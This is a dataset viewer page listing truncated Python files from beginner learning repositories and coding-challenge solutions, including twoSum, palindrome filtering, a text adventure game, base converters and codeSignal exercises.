class Solution(object):
def twoSum(self, nums, target):
"""
:type nums: List[int]
:type target: int
:rtype: List[int]
"""
dict1 = dict()
for i in range (len(nums)):
rest = t... |
aa154405cabbab5636c63f34038f0f1ae572bcdb | FatNFuri0us/learning_python_200_task | /11_funkcje.py | 17,477 | 3.5625 | 4 | # -*- coding: utf-8 -*-
# %% 117
x = -1.5
expression = 'x**2 + x'
print(eval(expression))
# %% 118
var1 = 'Python'
var2 = ('Python')
var3 = ('Python',)
var4 = ['Python']
var5 = {'Python'}
print(isinstance(var1, tuple))
print(isinstance(var2, tuple))
print(isinstance(var3, tuple))
print(isinstance(var4, ... |
8515ecb09bf92654b89c4fc1439a3e3c33503b95 | FatNFuri0us/learning_python_200_task | /07_dziedziczenie_wielokrotne.py | 557 | 3.5625 | 4 | # -*- coding: utf-8 -*-
# %%
class Czlowiek:
pochodzenie = 'Ziemia'
imie = 'jack'
class Polak:
kraj = 'Polska'
imie = 'Piotr'
# najpierw Klaa Pilkarz, pozniej szukas w k Czlowiek i na koniec w k Polak
class Pilkarz(Czlowiek, Polak):
def info(self)... |
19f316a8c257918cf650d7a8688709f85e3e89db | parkashheerani/varify | /grams.py | 283 | 3.53125 | 4 | from nltk.util import everygrams
def grams(text):
#Character grams
for i in list(everygrams(''.join([c for c in text if c != ' ']), min_len=1, max_len=4)):
yield i
#Word grams
for i in list(everygrams(text.split(' '), min_len=1, max_len=3)):
yield i
|
311252af7e5b5793e009523b2a00ecbdf9238e8b | miaozaiye/python-learning | /920.py | 144 | 3.703125 | 4 | # -*- coding:utf-8-*-
def is_palindrome(n):
return str(n) == str(n)[::-1]
output = filter(is_palindrome,range(1,1000))
print (list(output))
|
74fcb398842ef4c73392a57e37fb372d4031e324 | gchacaltana/python_lab | /Lab02/lab02_ejercicio05.py | 716 | 3.984375 | 4 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Imprimir, sumar y contar los números que son a la vez multiplos de 2 y de 3 que hay entre el 1 y
un determinado numero introducido por teclado
"""
__author__ = "Gonzalo Chacaltana Buleje"
__email__ = "gchacaltanab@gmail.com"
if __name__ == "__main__":
try:
... |
463cf1efe9182d62780f067bbfd3194bb1778510 | gchacaltana/python_lab | /Lab02/lab02_ejercicio03.py | 2,206 | 4.25 | 4 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Introducir 2 números por teclado. Imprimir los números que hay entre ellos, comenzando por el menor.
Contar cuántos hay, cuántos son pares, y cuál es la suma de todos los impares.
"""
__author__ = "Gonzalo Chacaltana Buleje"
__email__ = "gchacaltanab@gmail.com"
class A... |
fdca9188203645ee579be20d277993139af75b7b | Sanngeeta/Dictationary | /Ques_7.py | 463 | 3.9375 | 4 | # a=["first","second","third","four","six","seven"]
# b=[1,2,1,5,5,9,7]
# k={}
# y={}
# for i in range(len(a)):
# for k in range(len(b)):
# y[a[i]]=(b[i])
# print(y)
# Output :-
# [2', '7', '9', '5', '1']
dict1=[
{"first":"1"},
{"second": "2"},
{"third": "1"},
{"four": "5"},
... |
ffb6c7119bfebd7665967b7d86abca93797d6a1e | Sanngeeta/Dictationary | /Ques_5.py | 143 | 3.703125 | 4 |
a=["one","two","three","four","five"]
b=[1,2,3,4,5]
y={}
for i in range(len(a)):
for k in range(len(b)):
y[a[i]]=(b[i])
print(y) |
62c4ea8af8e1ac2732bc365758bf89d01bc1886b | Sanngeeta/Dictationary | /Loing page.py | 1,072 | 4.03125 | 4 | print("WELCOME TO THE-LOGIN OR SIGN_UP PAGE")
que=input("Do You Have Account(Y/N)? ")
if que=="y" or que=="Y":
my_file=open("login_page.txt","w")
name=input("Enter the username:")
my_file.write(name)
lastname=input("Enter the lastname:")
my_file.write(lastname)
pas=input("Enter the pas... |
81e1472fb3967b4f6df6ea47612c2963b0b47174 | som-don/jeddak | /privacy/math/fixed_point.py | 7,554 | 3.9375 | 4 | import random
import sys
import math
import numpy as np
class EncodedNumber(object):
"""Represents a float or int encoded.
For end users, this class is mainly useful for specifying precision
when adding/multiplying an :class:`EncryptedNumber` by a scalar.
If you want to manually encode a number, the... |
f9a1ffbc830ddf7ad201c8608e8851cff962f3cb | som-don/jeddak | /common/util/random.py | 827 | 3.765625 | 4 | import random
class Random(object):
GREAT_NUMBER = 1e16
@staticmethod
def generate_random_digits(length=5):
"""
:param length:
:return: str
"""
random_string = ''
for _ in range(length):
random_string += str(random.randint(0, 9))
return... |
72e68ec7bb730f3dae215c223a0abf7f989dff6d | eldarsoin/pflb | /task1.py | 3,527 | 3.921875 | 4 | """
# (ответ на первый вопрос )из десятичной в двоичную
n = int(input())
b = bin(n)
b1 = b[2::]
print(b1)
"""
"""
# (ответ на второй вопрос c base)универсальный конвертер
def convert_base(num, to_base=10, from_base=10):
# переводим в десятичную
if isinstance(num, str):
n = int(num, from_ba... |
0d38261fd33e04197b4e5de7b9e1e2c0a2e253c5 | tinbolw/AdventureGame2 | /hellworld.py | 8,172 | 3.859375 | 4 | user_name = input("What is your characters name? ")
import random
import time
mob_killed = 0
total_gold = 0
def view_stats():
print("You killed " + str(mob_killed) + " mobs!")
print("You earned " + str(total_gold) + " gold!")
view_continue = input("type quit to quit.")
if view_continue == str("quit... |
616217ab9a45b96faecb92a37fd51b1e3293e7c4 | akhavanmohsen/Python | /Average your input numbers.py | 244 | 4.0625 | 4 | numb= int(input('Please enter your number: ' ))
sum_num=0
count=0
while numb != -1 :
sum_num = sum_num + numb
numb= int(input ('Please enter your number: '))
count = count + 1
print ('Your average is : ' , sum_num // count) |
555b31082e1c67fe6c2b29cedd02e5518583b540 | leila100/coding-exercises | /codeSignal/theCore/WellOfIntegration/threeSplit.py | 1,498 | 4.15625 | 4 | '''
You have a long strip of paper with integers written on it in a single line from left to right.
You wish to cut the paper into exactly three pieces such that each piece contains at least one
integer and the sum of the integers in each piece is the same. You cannot cut through a number,
i.e. each initial number w... |
2cfdd250b2f56f0dd1d95bfaf764a283e6517fdd | leila100/coding-exercises | /codeSignal/theCore/LabyrinthNestedLoops/squareDigitsSequence.py | 1,286 | 4.03125 | 4 | '''
Consider a sequence of numbers a0, a1, ..., an, in which an element is equal to the sum of
squared digits of the previous element.
The sequence ends once an element that has already been in the sequence appears again.
Given the first element a0, find the length of the sequence.
Example
For a0 = 16, the output ... |
5d912346b465659b5adb231d94147f9f5fad607b | leila100/coding-exercises | /codeSignal/theCore/SpringOfIntegration/christmasTree.py | 4,192 | 3.8125 | 4 | '''
It's Christmas time! To share his Christmas spirit with all his friends, the young Christmas
Elf decided to send each of them a Christmas e-mail with a nice Christmas tree.
Unfortunately, Internet traffic is very expensive in the North Pole, so instead of
sending an actual image he got creative and drew the tree... |
43fb84433297ace5531260e5928fe57b60ccd2a1 | leila100/coding-exercises | /codeSignal/theCore/labOfTransformations/higherVersion.py | 1,421 | 3.71875 | 4 | '''
Given two version strings composed of several non-negative decimal fields separated by periods ("."),
both strings contain equal number of numeric fields. Return true if the first version is higher than
the second version and false otherwise.
The syntax follows the regular semver ordering rules:
1.0.5 < 1.1.0 <... |
17ccf2be45e0653f04d9f03a56796b6f4c156644 | leila100/coding-exercises | /codeSignal/theCore/SpringOfIntegration/pairOfShoes.py | 1,496 | 4.28125 | 4 | '''
Yesterday you found some shoes in the back of your closet. Each shoe is described by two values:
type indicates if it's a left or a right shoe;
size is the size of the shoe.
Your task is to check whether it is possible to pair the shoes you found in such a way that
each pair consists of a right and a left shoe of... |
4a572a1181c0f78258760bab0794b44f849bba58 | leila100/coding-exercises | /codeSignal/theCore/corenerOf0and1/mirrorBits.py | 483 | 4.15625 | 4 | '''
Reverse the order of the bits in a given integer.
Example
For a = 97, the output should be
mirrorBits(a) = 67.
97 equals to 1100001 in binary, which is 1000011 after mirroring, and that is 67 in base 10.
For a = 8, the output should be
mirrorBits(a) = 1.
Input/Output
[execution time limit] 4 seconds (py3)
[i... |
e2719c7593e5661d18a46c558c252266c761cb65 | leila100/coding-exercises | /python/anagrams.py | 1,044 | 4.25 | 4 | '''
Two strings are anagrams of each other if the letters of one string can be rearranged to form the other string.
Given a string, find the number of pairs of substrings of the string that are anagrams of each other.
For example , the list of all anagrammatic pairs is at positions respectively.
Function Descripti... |
50c22da4904bc854b0cd4f0dab7334a0781e9fce | leila100/coding-exercises | /codeSignal/theCore/labOfTransformations/cipher26.py | 1,705 | 4.09375 | 4 | '''
You've intercepted an encrypted message, and you are really curious about its contents. You were able to find out that the message initially contained only lowercase English letters, and was encrypted with the following cipher:
Let all letters from 'a' to 'z' correspond to the numbers from 0 to 25, respectively.
T... |
af3ceb7a17a94422366c39bc02b241666eb06fc2 | leila100/coding-exercises | /python/ConnectedCellsInAGrid.py | 4,051 | 4.28125 | 4 | '''
Consider a matrix where each cell contains either a 0 or a 1.
Any cell containing a 1 is called a filled cell.
Two cells are said to be connected if they are adjacent to each other horizontally, vertically, or diagonally.
In the following grid, all cells marked X are connected to the cell marked Y.
XXX
XYX
XX... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.